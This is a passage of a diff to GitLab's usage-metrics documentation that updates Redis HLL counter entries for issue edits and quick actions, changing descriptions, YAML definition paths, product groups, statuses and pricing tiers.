+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_designs_removed_monthly`
@@ -10638,19 +11202,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_designs_removed_weekly`
Count of WAU removing a design from an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181429_g_project_management_issue_designs_removed_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181429_g_project_management_issue_designs_removed_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_due_date_changed_monthly`
@@ -10662,31 +11226,31 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_due_date_changed_weekly`
Count of WAU changing an issue due date
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181433_g_project_management_issue_due_date_changed_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181433_g_project_management_issue_due_date_changed_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_health_status_changed_monthly`
Count of MAU changing the health status on an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181457_g_project_management_issue_health_status_changed_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181457_g_project_management_issue_health_status_changed_monthly.yml)
-Group: `group::project management`
+Group: `group::product planning`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_health_status_changed_weekly`
@@ -10694,23 +11258,23 @@ Count of WAU changing the health status on an issue
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181455_g_project_management_issue_health_status_changed_weekly.yml)
-Group: `group::project management`
+Group: `group::product planning`
Status: `data_available`
-Tiers:
+Tiers: `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_iteration_changed_monthly`
Count of MAU changing an issue's iteration
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181341_g_project_management_issue_iteration_changed_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181341_g_project_management_issue_iteration_changed_monthly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_iteration_changed_weekly`
@@ -10722,7 +11286,7 @@ Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_label_changed_monthly`
@@ -10734,19 +11298,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_label_changed_weekly`
Count of WAU changing an issue's label
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181332_g_project_management_issue_label_changed_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181332_g_project_management_issue_label_changed_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_locked_monthly`
@@ -10758,19 +11322,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_locked_weekly`
Count of WAU locking an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181405_g_project_management_issue_locked_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181405_g_project_management_issue_locked_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_made_confidential_monthly`
@@ -10782,19 +11346,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_made_confidential_weekly`
Count of WAU making an issue confidential
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181313_g_project_management_issue_made_confidential_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181313_g_project_management_issue_made_confidential_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_made_visible_monthly`
@@ -10806,19 +11370,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_made_visible_weekly`
Count of WAU making an issue not confidential
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181317_g_project_management_issue_made_visible_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181317_g_project_management_issue_made_visible_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_marked_as_duplicate_monthly`
@@ -10830,19 +11394,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_marked_as_duplicate_weekly`
Count of WAU marking an issue as a duplicate
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181401_g_project_management_issue_marked_as_duplicate_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181401_g_project_management_issue_marked_as_duplicate_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_milestone_changed_monthly`
@@ -10854,19 +11418,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_milestone_changed_weekly`
Count of WAU changing an issue's milestone
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181336_g_project_management_issue_milestone_changed_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181336_g_project_management_issue_milestone_changed_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_moved_monthly`
@@ -10878,19 +11442,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_moved_weekly`
Count of WAU moving an issue to another project
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181350_g_project_management_issue_moved_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181350_g_project_management_issue_moved_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_related_monthly`
@@ -10902,31 +11466,31 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_related_weekly`
Count of WAU relating an issue to another issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181354_g_project_management_issue_related_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181354_g_project_management_issue_related_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_removed_from_epic_monthly`
Count of MAU removing an issue from an epic
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181416_g_project_management_issue_removed_from_epic_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181416_g_project_management_issue_removed_from_epic_monthly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_removed_from_epic_weekly`
@@ -10950,19 +11514,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_reopened_weekly`
Count of WAU re-opening a closed issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181328_g_project_management_issue_reopened_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181328_g_project_management_issue_reopened_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_time_estimate_changed_monthly`
@@ -10974,19 +11538,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_time_estimate_changed_weekly`
Count of WAU changing an issue time estimate
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181437_g_project_management_issue_time_estimate_changed_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181437_g_project_management_issue_time_estimate_changed_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_time_spent_changed_monthly`
@@ -10998,19 +11562,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_time_spent_changed_weekly`
Count of WAU recording time spent on an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181440_g_project_management_issue_time_spent_changed_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181440_g_project_management_issue_time_spent_changed_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_title_changed_monthly`
@@ -11022,11 +11586,11 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_title_changed_weekly`
-Distinct users count that changed issue title in a group for last recent week
+Count of WAU editing an issue title
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210201124931_g_project_management_issue_title_changed_weekly.yml)
@@ -11038,7 +11602,7 @@ Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_unlocked_monthly`
-Count of MAU marking an issue as blocked or blocked by
+Count of MAU unlocking an issue
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181411_g_project_management_issue_unlocked_monthly.yml)
@@ -11046,19 +11610,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_unlocked_weekly`
-Count of WAU marking an issue as blocked or blocked by
+Count of WAU unlocking an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181409_g_project_management_issue_unlocked_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181409_g_project_management_issue_unlocked_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_unrelated_monthly`
@@ -11070,31 +11634,31 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_unrelated_weekly`
Count of WAU unrelating an issue to another issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181358_g_project_management_issue_unrelated_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181358_g_project_management_issue_unrelated_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_weight_changed_monthly`
Count of MAU changing an issue's weight
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181345_g_project_management_issue_weight_changed_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181345_g_project_management_issue_weight_changed_monthly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.issues_edit.g_project_management_issue_weight_changed_weekly`
@@ -11106,11 +11670,11 @@ Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.issues_edit.issues_edit_total_unique_counts_monthly`
-Count of MAU taking an action related to an issue
+Aggregate count of MAU taking an action related to an issue
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181504_issues_edit_total_unique_counts_monthly.yml)
@@ -11118,19 +11682,19 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.issues_edit.issues_edit_total_unique_counts_weekly`
-Count of WAU taking an action related to an issue
+Aggregate count of WAU taking an action related to an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181503_issues_edit_total_unique_counts_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181503_issues_edit_total_unique_counts_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.pipeline_authoring.o_pipeline_authoring_unique_users_committing_ciconfigfile_monthly`
@@ -11164,7 +11728,7 @@ Monthly unique user count having merge requests which contains the CI config fil
Group: `group::pipeline authoring`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
@@ -11176,49 +11740,49 @@ Weekly unique user count having merge requests which contains the CI config file
Group: `group::pipeline authoring`
-Status: `implemented`
+Status: `data_available`
Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_approve_monthly`
-Missing description
+Count of MAU using the `/approve` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181508_i_quickactions_approve_monthly.yml)
-Group: `group::project management`
+Group: `group::code review`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_approve_weekly`
-Missing description
+Count of WAU using the `/approve` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml)
-Group: `group::project management`
+Group: `group::code review`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_assign_multiple_monthly`
-Missing description
+Count of MAU using the `/assign @user1 @user2` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181516_i_quickactions_assign_multiple_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181516_i_quickactions_assign_multiple_monthly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_assign_multiple_weekly`
-Missing description
+Count of WAU using the `/assign @user1 @user2` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181514_i_quickactions_assign_multiple_weekly.yml)
@@ -11226,35 +11790,35 @@ Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_assign_reviewer_monthly`
-Missing description
+Count of MAU using the `/assign_reviewer` or `request_reviewer` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181523_i_quickactions_assign_reviewer_monthly.yml)
-Group: `group::project management`
+Group: `group::code review`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_assign_reviewer_weekly`
-Missing description
+Count of WAU using the `/assign_reviewer` or `request_reviewer` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181521_i_quickactions_assign_reviewer_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181521_i_quickactions_assign_reviewer_weekly.yml)
-Group: `group::project management`
+Group: `group::code review`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_assign_self_monthly`
-Missing description
+Count of MAU using the `/assign me` quick action to assign self to an issuable
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181519_i_quickactions_assign_self_monthly.yml)
@@ -11262,23 +11826,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_assign_self_weekly`
-Missing description
+Count of WAU using the `/assign me` quick action to assign self to an issuable
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181517_i_quickactions_assign_self_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181517_i_quickactions_assign_self_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_assign_single_monthly`
-Missing description
+Count of MAU using the `/assign @user1` quick action to assign a single individual to an issuable
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181512_i_quickactions_assign_single_monthly.yml)
@@ -11286,23 +11850,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_assign_single_weekly`
-Missing description
+Count of WAU using the `/assign @user1` quick action to assign a single individual to an issuable
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181510_i_quickactions_assign_single_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181510_i_quickactions_assign_single_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_award_monthly`
-Missing description
+Count of MAU using the `/award` quick action to set an award emoji on an issuable
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181527_i_quickactions_award_monthly.yml)
@@ -11310,23 +11874,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_award_weekly`
-Missing description
+Count of WAU using the `/award` quick action to set an award emoji on an issuable
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181525_i_quickactions_award_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181525_i_quickactions_award_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_board_move_monthly`
-Missing description
+Count of MAU using the `/board_move` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181530_i_quickactions_board_move_monthly.yml)
@@ -11334,59 +11898,59 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_board_move_weekly`
-Missing description
+Count of WAU using the `/board_move` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181529_i_quickactions_board_move_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181529_i_quickactions_board_move_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_child_epic_monthly`
-Missing description
+Count of MAU using the `/child_epic` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181534_i_quickactions_child_epic_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181534_i_quickactions_child_epic_monthly.yml)
-Group: `group::project management`
+Group: `group::product planning`
Status: `data_available`
-Tiers: `free`
+Tiers: `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_child_epic_weekly`
-Missing description
+Count of WAU using the `/child_epic` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181532_i_quickactions_child_epic_weekly.yml)
-Group: `group::project management`
+Group: `group::product planning`
Status: `data_available`
-Tiers:
+Tiers: `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_clear_weight_monthly`
-Missing description
+Count of MAU using the `/clear_weight` quick action
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181538_i_quickactions_clear_weight_monthly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181538_i_quickactions_clear_weight_monthly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_clear_weight_weekly`
-Missing description
+Count of WAU using the `/clear_weight` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181536_i_quickactions_clear_weight_weekly.yml)
@@ -11394,11 +11958,11 @@ Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_clone_monthly`
-Missing description
+Count of MAU using the `/clone` quick action to clone an issue.
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181541_i_quickactions_clone_monthly.yml)
@@ -11406,23 +11970,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_clone_weekly`
-Missing description
+Count of WAU using the `/clone` quick action to clone an issue.
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181540_i_quickactions_clone_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181540_i_quickactions_clone_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_close_monthly`
-Missing description
+Count of MAU using the `/close` quick action to close an issuable
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181545_i_quickactions_close_monthly.yml)
@@ -11430,23 +11994,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_close_weekly`
-Missing description
+Count of WAU using the `/close` quick action to close an issuable
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181543_i_quickactions_close_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181543_i_quickactions_close_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_confidential_monthly`
-Missing description
+Count of MAU using the `/confidential` quick action to set an issue as confidential
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181549_i_quickactions_confidential_monthly.yml)
@@ -11454,23 +12018,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_confidential_weekly`
-Missing description
+Count of WAU using the `/confidential` quick action to set an issue as confidential
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181547_i_quickactions_confidential_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181547_i_quickactions_confidential_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_copy_metadata_issue_monthly`
-Missing description
+Count of MAU using the `/copy_metadata` quick action on an issue
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181556_i_quickactions_copy_metadata_issue_monthly.yml)
@@ -11478,47 +12042,47 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_copy_metadata_issue_weekly`
-Missing description
+Count of WAU using the `/copy_metadata` quick action on an issue
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181554_i_quickactions_copy_metadata_issue_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181554_i_quickactions_copy_metadata_issue_weekly.yml)
Group: `group::project management`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_copy_metadata_merge_request_monthly`
-Missing description
+Count of MAU using the `/copy_metadata` quick action on a Merge Request
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181553_i_quickactions_copy_metadata_merge_request_monthly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_copy_metadata_merge_request_weekly`
-Missing description
+Count of WAU using the `/copy_metadata` quick action on a Merge Request
-[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_7d/20210216181551_i_quickactions_copy_metadata_merge_request_weekly.yml)
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_7d/20210216181551_i_quickactions_copy_metadata_merge_request_weekly.yml)
-Group: `group::project management`
+Group: `group::source code`
Status: `data_available`
-Tiers:
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_create_merge_request_monthly`
-Missing description
+Count of MAU using the `/create_merge_request` quick action
[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216181600_i_quickactions_create_merge_request_monthly.yml)
@@ -11526,23 +12090,23 @@ Group: `group::project management`
Status: `data_available`
-Tiers: `free`
+Tiers: `free`, `premium`, `ultimate`
### `redis_hll_counters.quickactions.i_quickactions_create_merge_request_weekly`
-Missing description
+Count of WAU using the `/create_merge_request` quick action
